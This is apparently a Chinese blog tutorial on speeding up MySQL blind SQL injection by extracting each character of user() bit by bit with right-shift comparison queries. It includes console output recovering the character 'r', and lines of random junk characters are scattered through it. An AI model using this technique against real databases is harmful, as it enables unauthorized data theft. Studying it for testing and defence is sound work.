关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

% Q0 q- m( ^4 b; [& i+ i

下面将以查询mysql数据库当中user()的第一位为例:


' s9 j& N! H/ p, _" m
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



* s, b! a/ @: Q3 P$ l" c首先执行如下sql语句:
7 W1 i$ D0 E1 I+ d, q& o; l7 R' D/ l" D
$ y: i5 \5 f/ F, Q+ a( }

8 R8 e3 R# F2 _mysql> select (ascii((substr(user(),1,1))) >> 7)=0;



我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
) v+ m6 M' I8 l5 W, @. E

* A( v, o- t9 h3 v+ k
! z- e1 t4 v$ H% r/ i% K) \0 ^第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
" E, z, N6 _. f$ l8 P1 [6 J, |9 R

, R( P& `$ I. G5 O. H- K
如果运算结果为1,说明第一位为0,不为1


/ @. T$ v* d6 i# P0 y2 a
4 n5 m: v! N& B' w+ B: g+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

* H- _" ~! H1 I  f3 t+————————————–+

| 1 |

2 K3 e% _' V) d3 B+————————————–+
+ k! S3 \6 Q9 l+ U
3 d: ~5 Q% @' e& V. S4 T( j% g1 row in set (0.00 sec)
, J) `) M1 T7 ^6 ~. {
这样我们就确定这个8bit的ascii的第一位为0

+ A4 r. ]) v4 I  V7 z
6 z2 O. ^1 ?  F" l% K% \' `
第二次我们来做6次右偏移来确定前两位


1 W) i# q$ Y7 ?% t1 X3 b
前两位可能是01或00,即依然可以与0做比较,
5 D$ z3 I9 T* l6 a( m# \7 {
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

. T& _3 ~! X' r5 e8 v' o8 h+————————————–+
: `% N. p) [- R- ^7 ~
" m2 u, Z2 Y$ ~# i$ C( X| (ascii((substr(user(),1,1))) >> 6)=0 |
( L4 M- E8 Z( d. O- N8 V# a' |; H
8 i. z0 q5 Z- j$ ?. S" W+————————————–+
7 ?2 }- T4 F! s3 f
* k2 m9 b6 P, B' m- R, E| 0 |
* f1 P3 j. {' T2 f
+————————————–+
: k# w7 S1 i6 u& I7 Y
  F! F- t# \) b% s7 a8 Y. D4 H1 row in set (0.00 sec)

6 C, U! g$ i" V: x1 v9 r( e

结果为0,即第二位为1

7 O& u2 g5 j  U! `( p! T7 C" `
7 j# {6 V9 h4 C# }* v
1 {  H0 k! ^& `1 y% _6 Z6 p开始猜测前三位为010或011

+ W) h" G/ h# P  Q  j( p+ O4 l7 @0 k* f

让我们看看010和011的ascii码是多少
4 W0 X" s1 |9 T

8 U' x5 ?, U  a% l" J. I
' x* H# l! P. w2 f7 q% ~# q' [分别查询select b’011′ select b’010′


* y# P  H! q6 D! \7 j
获得结果 010 = 2 011 = 3

8 U0 W' c6 X5 H

5 X8 ?& O" a- i. M- z% J执行如下sql:

& C+ s. S+ _! ~( K# |: h
5 i1 h/ y, S  ~+ B2 J
$ \* Y1 j( W% F% T& \' W1 n6 ^mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
- t- s, A, B8 ]
+————————————–+
. v! {1 ^. I" N; k4 `
: x! [( I( F, ]1 R| (ascii((substr(user(),1,1))) >> 5)=2 |

2 E. w# `" R3 S! F7 c0 s* t+————————————–+

| 0 |

+————————————–+
; w% U* Y- ~  ]9 b% I+ v4 o
即前三位不为010,而是011
( C% O* ?# a. M( j7 x7 T) C7 O! ]! ~4 W) u


直到获得最后一位

# {: H! s, J- [7 j

最终结果为:01110010



转换一下:

, q' z1 |3 U- x' ~8 R' c1 \* K6 y% s

5 f+ T$ {- }) v. jselect b’01110010′


3 `4 x# i9 f0 e3 ?7 o# K1 r) V
查询结果


+ b! i" v  V+ f! H! ]; v) O
1 `9 a$ I0 E3 Q, b2 V6 T: J- s  t" F+————-+

| b’01110010′ |

+————-+

| r |

: O, k0 P4 K3 ~) G9 W" S+————-+

8 ?. I2 j6 u) X* z% k) r4 h) x1 row in set (0.00 sec)

' k) [2 i/ r* N1 F$ f
6 s7 J* Z8 ~0 s+ _8 p- O
2 S8 d4 S" d( C8 `- v, e这样我们就获得了user()的第一位.其它位依此类推